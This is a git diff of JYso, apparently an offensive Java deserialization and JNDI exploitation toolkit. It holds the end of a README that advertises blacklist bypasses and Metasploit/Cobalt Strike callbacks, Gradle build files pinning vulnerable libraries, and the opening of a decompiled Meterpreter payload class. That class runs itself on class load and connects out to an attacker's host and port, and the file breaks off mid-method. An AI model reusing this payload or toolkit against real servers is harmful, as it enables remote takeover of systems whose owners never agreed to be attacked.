TemplatesImpl blacklist, CC countless groups and blacklists that often appear in CTF, etc. ++ To solve the problem that the Shiro Header header is too long, obtain the value of the specified parameter from the request for class loading. ++ Dynamically generate obfuscated class names ++ MSF/CS online + +# ✨404StarLink 2.0 - Galaxy + +JYso is a part of 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink). If you have questions about JYso or want to find a partner to communicate, you can refer to the Starlink group project. + ++ https://github.com/knownsec/404StarLink2.0-Galaxy#community + +# 👮免责声明 + +This tool is only for legally authorized enterprise security construction activities. If you need to test the usability of this tool, please build a target drone environment yourself. + +In order to avoid malicious use, all POCs included in this project are theoretical judgments of vulnerabilities. There is no vulnerability exploitation process, and no real attacks or exploits will be launched on the target. + +When using this tool for testing, you should ensure that your behavior complies with local laws and regulations and that you have obtained sufficient authorization. Do not scan unauthorized targets. + +If you commit any illegal behavior while using this tool, you shall bear the corresponding consequences yourself, and we will not assume any legal and joint liability. + +Before installing and using this tool, please be sure to read carefully and fully understand the contents of each clause. Restrictions, disclaimers, or other clauses involving your major rights and interests may be bolded, underlined, etc. to remind you to pay attention. Please do not install and use this tool unless you have fully read, fully understood and accepted all the terms of this agreement. Your usage behavior or your acceptance of this Agreement in any other express or implicit manner shall be deemed to have read and agreed to be bound by this Agreement. + +## Star History + +[![Star History Chart](https://api.star-history.com/svg?repos=qi4L/JYso&type=Date)](https://star-history.com/#qi4L/JYso&Date) + +# 📷reference project + +- https://github.com/veracode-research/rogue-jndi +- https://github.com/welk1n/JNDI-Injection-Exploit +- https://github.com/welk1n/JNDI-Injection-Bypass +- https://github.com/WhiteHSBG/JNDIExploit +- https://github.com/su18/ysoserial +- https://github.com/rebeyond/Behinder +- https://t.zsxq.com/17LkqCzk8 +- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg +- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697 +- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/ +- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7 +- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/ +- https://github.com/Whoopsunix/utf-8-overlong-encoding + diff --git a/build.gradle b/build.gradle new file mode 100644 index 0000000..c1edda9 --- /dev/null +++ b/build.gradle @@ -0,0 +1,140 @@ +/* + * This file was generated by the Gradle 'init' task. + * + * This project uses @Incubating APIs which are subject to change. + */ + +plugins { + id 'java-library' + id 'maven-publish' + id 'com.github.johnrengelman.shadow' version '8.1.1' + id 'java' +} + +repositories { + mavenLocal() + maven { + url = uri('https://repo.jenkins-ci.org/releases/') + } + + maven { + url = uri('https://repo.maven.apache.org/maven2/') + } +} + +//jar { +// duplicatesStrategy = DuplicatesStrategy.INCLUDE +// from { +// configurations.runtimeClasspath.collect{it.isDirectory() ? it : zipTree(it)} +// } +// manifest { +// attributes 'Main-Class': 'com.qi4l.jndi.Starter' +// } +// zip64=true +//} + +shadowJar { + manifest { + attributes 'Main-Class': 'com.qi4l.jndi.Starter' + } + zip64=true +} + + +dependencies { + api libs.io.projectreactor.reactor.core + api libs.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc + api libs.org.glassfish.tyrus.tyrus.server + api libs.javax.media.jai.jai.core + api libs.org.javassist.javassist + api libs.com.oracle.weblogic.weblogic.server + api libs.xerces.xercesimpl + api libs.com.fasterxml.jackson.core.jackson.databind + api libs.com.teradata.jdbc.terajdbc + api libs.jboss.jboss.serialization + api libs.org.apache.wicket.wicket.util + api libs.com.vaadin.vaadin.server + api libs.org.apache.myfaces.core.myfaces.impl + api libs.rhino.js + api libs.rome.rome + api libs.com.alibaba.fastjson + api libs.com.alibaba.fastjson2.fastjson2 + api libs.org.jenkins.ci.main.remoting + api libs.org.jboss.weld.weld.core + api libs.org.jboss.remoting.jboss.remoting + api libs.org.jboss.remotingjmx.remoting.jmx + api libs.org.jboss.interceptor.jboss.interceptor.core + api libs.org.jboss.interceptor.jboss.interceptor.spi + api libs.org.python.jython.standalone + api libs.org.hibernate.hibernate.core + api libs.org.fusesource.jansi.jansi + api libs.commons.cli.commons.cli + api libs.org.apache.commons.commons.lang3 + api libs.org.apache.logging.log4j.log4j.core + api libs.org.springframework.spring.core + api libs.org.springframework.spring.beans + api libs.org.springframework.spring.web + api libs.org.springframework.spring.oxm + api libs.org.springframework.spring.tx + api libs.org.springframework.spring.jdbc + api libs.org.springframework.spring.webmvc + api libs.org.springframework.spring.aop + api libs.org.springframework.spring.context.support + api libs.org.springframework.spring.test + api libs.javax.servlet.javax.servlet.api + api libs.com.mchange.c3p0 + api libs.commons.collections.commons.collections + api libs.org.apache.commons.commons.collections4 + api libs.org.apache.tomcat.embed.tomcat.embed.core + api libs.org.ow2.asm.asm + api libs.com.unboundid.unboundid.ldapsdk + api libs.com.nqzero.permit.reflect + api libs.net.jodah.expiringmap + api libs.org.reflections.reflections + api libs.org.beanshell.bsh + api libs.io.undertow.undertow.core + api libs.io.undertow.undertow.servlet + api libs.org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec + api libs.com.beust.jcommander + api libs.org.codehaus.groovy.groovy + api libs.org.apache.commons.commons.text + api libs.org.eclipse.jetty.jetty.ant + api libs.org.apache.maven.plugins.maven.assembly.plugin + api libs.org.apache.click.click.nodeps + api libs.org.clojure.clojure + api libs.cn.hutool.hutool.all + api libs.commons.beanutils.commons.beanutils + api libs.javax.websocket.javax.websocket.api + api libs.com.caucho.resin + testImplementation libs.junit.junit + implementation 'net.sf.json-lib:json-lib:2.4:jdk15' + runtimeOnly libs.org.aspectj.aspectjweaver + compileOnly libs.org.apache.tomcat.tomcat.websocket +} + +group = 'org.example' +version = '1.2.8' +description = 'JYso' +java.sourceCompatibility = JavaVersion.VERSION_1_8 + +publishing { + publications { + maven(MavenPublication) { + from(components.java) + } + } +} + +tasks.withType(JavaCompile) { + options.encoding = 'UTF-8' +} + +tasks.withType(Javadoc) { + options.encoding = 'UTF-8' +} + +compileJava { + options.compilerArgs << '-XDignore.symbol.file' + options.fork = true + options.forkOptions.executable = 'C:\\env\\JAVA\\jdk1.8.0_402\\bin\\javac.exe' +} \ No newline at end of file diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml new file mode 100644 index 0000000..4b90e70 --- /dev/null +++ b/gradle/libs.versions.toml @@ -0,0 +1,142 @@ +# This file was generated by the Gradle 'init' task. +# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format + +[versions] +cn-hutool-hutool-all = "5.7.7" +com-alibaba-fastjson = "1.2.83" +com-alibaba-fastjson2-fastjson2 = "2.0.26" +com-beust-jcommander = "1.78" +com-caucho-resin = "4.0.65" +com-fasterxml-jackson-core-jackson-databind = "2.11.3" +com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc = "1.0.10" +com-mchange-c3p0 = "0.9.5.5" +com-nqzero-permit-reflect = "0.3" +com-oracle-weblogic-weblogic-server = "1.0" +com-teradata-jdbc-terajdbc = "20.00.00.06" +com-unboundid-unboundid-ldapsdk = "4.0.9" +com-vaadin-vaadin-server = "7.7.14" +commons-beanutils-commons-beanutils = "1.9.2" +commons-cli-commons-cli = "1.5.0" +commons-collections-commons-collections = "3.2.1" +io-projectreactor-reactor-core = "3.4.26" +io-undertow-undertow-core = "2.2.2.Final" +io-undertow-undertow-servlet = "2.2.2.Final" +javax-media-jai-jai-core = "1.1.3" +javax-servlet-javax-servlet-api = "4.0.1" +javax-websocket-javax-websocket-api = "1.1" +jboss-jboss-serialization = "4.2.2.GA" +junit-junit = "4.11" +net-jodah-expiringmap = "0.5.9" +net-sf-json-lib-json-lib = "2.4" +org-apache-click-click-nodeps = "2.3.0" +org-apache-commons-commons-collections4 = "4.0" +org-apache-commons-commons-lang3 = "3.12.0" +org-apache-commons-commons-text = "1.8" +org-apache-logging-log4j-log4j-core = "2.14.1" +org-apache-maven-plugins-maven-assembly-plugin = "3.0.0" +org-apache-myfaces-core-myfaces-impl = "2.2.9" +org-apache-tomcat-embed-tomcat-embed-core = "8.5.58" +org-apache-tomcat-tomcat-websocket = "9.0.62" +org-apache-wicket-wicket-util = "6.23.0" +org-aspectj-aspectjweaver = "1.9.7" +org-beanshell-bsh = "2.0b5" +org-clojure-clojure = "1.8.0" +org-codehaus-groovy-groovy = "2.4.5" +org-eclipse-jetty-jetty-ant = "11.0.7" +org-fusesource-jansi-jansi = "2.4.0" +org-glassfish-tyrus-tyrus-server = "2.0.0" +org-hibernate-hibernate-core = "4.3.11.Final" +org-javassist-javassist = "3.29.2-GA" +org-jboss-interceptor-jboss-interceptor-core = "2.0.0.Final" +org-jboss-interceptor-jboss-interceptor-spi = "2.0.0.Final" +org-jboss-remoting-jboss-remoting = "4.0.19.Final" +org-jboss-remotingjmx-remoting-jmx = "2.0.1.Final" +org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec = "1.0.3.Final" +org-jboss-weld-weld-core = "1.1.33.Final" +org-jenkins-ci-main-remoting = "2.55" +org-ow2-asm-asm = "8.0.1" +org-python-jython-standalone = "2.5.2" +org-reflections-reflections = "0.9.10" +org-springframework-spring-aop = "5.2.3.RELEASE" +org-springframework-spring-beans = "5.2.3.RELEASE" +org-springframework-spring-context-support = "5.2.3.RELEASE" +org-springframework-spring-core = "5.2.3.RELEASE" +org-springframework-spring-jdbc = "5.2.3.RELEASE" +org-springframework-spring-oxm = "5.2.3.RELEASE" +org-springframework-spring-test = "5.2.3.RELEASE" +org-springframework-spring-tx = "5.2.3.RELEASE" +org-springframework-spring-web = "5.2.3.RELEASE" +org-springframework-spring-webmvc = "5.2.3.RELEASE" +rhino-js = "1.7R2" +rome-rome = "1.0" +xerces-xercesimpl = "2.12.0" + +[libraries] +cn-hutool-hutool-all = { module = "cn.hutool:hutool-all", version.ref = "cn-hutool-hutool-all" } +com-alibaba-fastjson = { module = "com.alibaba:fastjson", version.ref = "com-alibaba-fastjson" } +com-alibaba-fastjson2-fastjson2 = { module = "com.alibaba.fastjson2:fastjson2", version.ref = "com-alibaba-fastjson2-fastjson2" } +com-beust-jcommander = { module = "com.beust:jcommander", version.ref = "com-beust-jcommander" } +com-caucho-resin = { module = "com.caucho:resin", version.ref = "com-caucho-resin" } +com-fasterxml-jackson-core-jackson-databind = { module = "com.fasterxml.jackson.core:jackson-databind", version.ref = "com-fasterxml-jackson-core-jackson-databind" } +com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc = { module = "com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc", version.ref = "com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc" } +com-mchange-c3p0 = { module = "com.mchange:c3p0", version.ref = "com-mchange-c3p0" } +com-nqzero-permit-reflect = { module = "com.nqzero:permit-reflect", version.ref = "com-nqzero-permit-reflect" } +com-oracle-weblogic-weblogic-server = { module = "com.oracle.weblogic:weblogic-server", version.ref = "com-oracle-weblogic-weblogic-server" } +com-teradata-jdbc-terajdbc = { module = "com.teradata.jdbc:terajdbc", version.ref = "com-teradata-jdbc-terajdbc" } +com-unboundid-unboundid-ldapsdk = { module = "com.unboundid:unboundid-ldapsdk", version.ref = "com-unboundid-unboundid-ldapsdk" } +com-vaadin-vaadin-server = { module = "com.vaadin:vaadin-server", version.ref = "com-vaadin-vaadin-server" } +commons-beanutils-commons-beanutils = { module = "commons-beanutils:commons-beanutils", version.ref = "commons-beanutils-commons-beanutils" } +commons-cli-commons-cli = { module = "commons-cli:commons-cli", version.ref = "commons-cli-commons-cli" } +commons-collections-commons-collections = { module = "commons-collections:commons-collections", version.ref = "commons-collections-commons-collections" } +io-projectreactor-reactor-core = { module = "io.projectreactor:reactor-core", version.ref = "io-projectreactor-reactor-core" } +io-undertow-undertow-core = { module = "io.undertow:undertow-core", version.ref = "io-undertow-undertow-core" } +io-undertow-undertow-servlet = { module = "io.undertow:undertow-servlet", version.ref = "io-undertow-undertow-servlet" } +javax-media-jai-jai-core = { module = "javax.media.jai:jai-core", version.ref = "javax-media-jai-jai-core" } +javax-servlet-javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-javax-servlet-api" } +javax-websocket-javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-javax-websocket-api" } +jboss-jboss-serialization = { module = "jboss:jboss-serialization", version.ref = "jboss-jboss-serialization" } +junit-junit = { module = "junit:junit", version.ref = "junit-junit" } +net-jodah-expiringmap = { module = "net.jodah:expiringmap", version.ref = "net-jodah-expiringmap" } +net-sf-json-lib-json-lib = { module = "net.sf.json-lib:json-lib", version.ref = "net-sf-json-lib-json-lib" } +org-apache-click-click-nodeps = { module = "org.apache.click:click-nodeps", version.ref = "org-apache-click-click-nodeps" } +org-apache-commons-commons-collections4 = { module = "org.apache.commons:commons-collections4", version.ref = "org-apache-commons-commons-collections4" } +org-apache-commons-commons-lang3 = { module = "org.apache.commons:commons-lang3", version.ref = "org-apache-commons-commons-lang3" } +org-apache-commons-commons-text = { module = "org.apache.commons:commons-text", version.ref = "org-apache-commons-commons-text" } +org-apache-logging-log4j-log4j-core = { module = "org.apache.logging.log4j:log4j-core", version.ref = "org-apache-logging-log4j-log4j-core" } +org-apache-maven-plugins-maven-assembly-plugin = { module = "org.apache.maven.plugins:maven-assembly-plugin", version.ref = "org-apache-maven-plugins-maven-assembly-plugin" } +org-apache-myfaces-core-myfaces-impl = { module = "org.apache.myfaces.core:myfaces-impl", version.ref = "org-apache-myfaces-core-myfaces-impl" } +org-apache-tomcat-embed-tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "org-apache-tomcat-embed-tomcat-embed-core" } +org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" } +org-apache-wicket-wicket-util = { module = "org.apache.wicket:wicket-util", version.ref = "org-apache-wicket-wicket-util" } +org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" } +org-beanshell-bsh = { module = "org.beanshell:bsh", version.ref = "org-beanshell-bsh" } +org-clojure-clojure = { module = "org.clojure:clojure", version.ref = "org-clojure-clojure" } +org-codehaus-groovy-groovy = { module = "org.codehaus.groovy:groovy", version.ref = "org-codehaus-groovy-groovy" } +org-eclipse-jetty-jetty-ant = { module = "org.eclipse.jetty:jetty-ant", version.ref = "org-eclipse-jetty-jetty-ant" } +org-fusesource-jansi-jansi = { module = "org.fusesource.jansi:jansi", version.ref = "org-fusesource-jansi-jansi" } +org-glassfish-tyrus-tyrus-server = { module = "org.glassfish.tyrus:tyrus-server", version.ref = "org-glassfish-tyrus-tyrus-server" } +org-hibernate-hibernate-core = { module = "org.hibernate:hibernate-core", version.ref = "org-hibernate-hibernate-core" } +org-javassist-javassist = { module = "org.javassist:javassist", version.ref = "org-javassist-javassist" } +org-jboss-interceptor-jboss-interceptor-core = { module = "org.jboss.interceptor:jboss-interceptor-core", version.ref = "org-jboss-interceptor-jboss-interceptor-core" } +org-jboss-interceptor-jboss-interceptor-spi = { module = "org.jboss.interceptor:jboss-interceptor-spi", version.ref = "org-jboss-interceptor-jboss-interceptor-spi" } +org-jboss-remoting-jboss-remoting = { module = "org.jboss.remoting:jboss-remoting", version.ref = "org-jboss-remoting-jboss-remoting" } +org-jboss-remotingjmx-remoting-jmx = { module = "org.jboss.remotingjmx:remoting-jmx", version.ref = "org-jboss-remotingjmx-remoting-jmx" } +org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec = { module = "org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec", version.ref = "org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec" } +org-jboss-weld-weld-core = { module = "org.jboss.weld:weld-core", version.ref = "org-jboss-weld-weld-core" } +org-jenkins-ci-main-remoting = { module = "org.jenkins-ci.main:remoting", version.ref = "org-jenkins-ci-main-remoting" } +org-ow2-asm-asm = { module = "org.ow2.asm:asm", version.ref = "org-ow2-asm-asm" } +org-python-jython-standalone = { module = "org.python:jython-standalone", version.ref = "org-python-jython-standalone" } +org-reflections-reflections = { module = "org.reflections:reflections", version.ref = "org-reflections-reflections" } +org-springframework-spring-aop = { module = "org.springframework:spring-aop", version.ref = "org-springframework-spring-aop" } +org-springframework-spring-beans = { module = "org.springframework:spring-beans", version.ref = "org-springframework-spring-beans" } +org-springframework-spring-context-support = { module = "org.springframework:spring-context-support", version.ref = "org-springframework-spring-context-support" } +org-springframework-spring-core = { module = "org.springframework:spring-core", version.ref = "org-springframework-spring-core" } +org-springframework-spring-jdbc = { module = "org.springframework:spring-jdbc", version.ref = "org-springframework-spring-jdbc" } +org-springframework-spring-oxm = { module = "org.springframework:spring-oxm", version.ref = "org-springframework-spring-oxm" } +org-springframework-spring-test = { module = "org.springframework:spring-test", version.ref = "org-springframework-spring-test" } +org-springframework-spring-tx = { module = "org.springframework:spring-tx", version.ref = "org-springframework-spring-tx" } +org-springframework-spring-web = { module = "org.springframework:spring-web", version.ref = "org-springframework-spring-web" } +org-springframework-spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "org-springframework-spring-webmvc" } +rhino-js = { module = "rhino:js", version.ref = "rhino-js" } +rome-rome = { module = "rome:rome", version.ref = "rome-rome" } +xerces-xercesimpl = { module = "xerces:xercesImpl", version.ref = "xerces-xercesimpl" } diff --git a/gradle/wrapper/gradle-wrapper.jar b/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000..e644113 Binary files /dev/null and b/gradle/wrapper/gradle-wrapper.jar differ diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..b82aa23 --- /dev/null +++ b/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/gradlew b/gradlew new file mode 100644 index 0000000..1aa94a4 --- /dev/null +++ b/gradlew @@ -0,0 +1,249 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/gradlew.bat b/gradlew.bat new file mode 100644 index 0000000..25da30d --- /dev/null +++ b/gradlew.bat @@ -0,0 +1,92 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/settings.gradle b/settings.gradle new file mode 100644 index 0000000..5f1e042 --- /dev/null +++ b/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'JYso' diff --git a/src/main/java/Meterpreter.java b/src/main/java/Meterpreter.java new file mode 100644 index 0000000..885faee --- /dev/null +++ b/src/main/java/Meterpreter.java @@ -0,0 +1,138 @@ +/* + * Decompiled with CFR 0.152. + */ + +import java.io.DataInputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.util.HashMap; + +public class Meterpreter + extends ClassLoader + implements Runnable { + static /* synthetic */ Class class$0; + static /* synthetic */ Class class$1; + static /* synthetic */ Class class$2; + + static { + + Meterpreter meterpreter = new Meterpreter(); + meterpreter.initLhost(); + meterpreter.run(); + } + + public String host; + public String port; + private HashMap parameterMap; + + public static void main(String[] args) { + Meterpreter meterpreter = new Meterpreter(); + meterpreter.run(); + } + + public void initLhost() { + this.host = ""; + this.port = ""; + } + + public String toString() { + if (this.host != null && this.port != null) { + Thread thread = new Thread(this); + thread.start(); + this.parameterMap.put("result", "ok".getBytes()); + } else { + this.parameterMap.put("result", "host or port is null".getBytes()); + } + this.parameterMap = null; + return ""; + } + + public boolean equals(Object paramObject) { + try { + this.parameterMap = (HashMap) paramObject; + this.host = 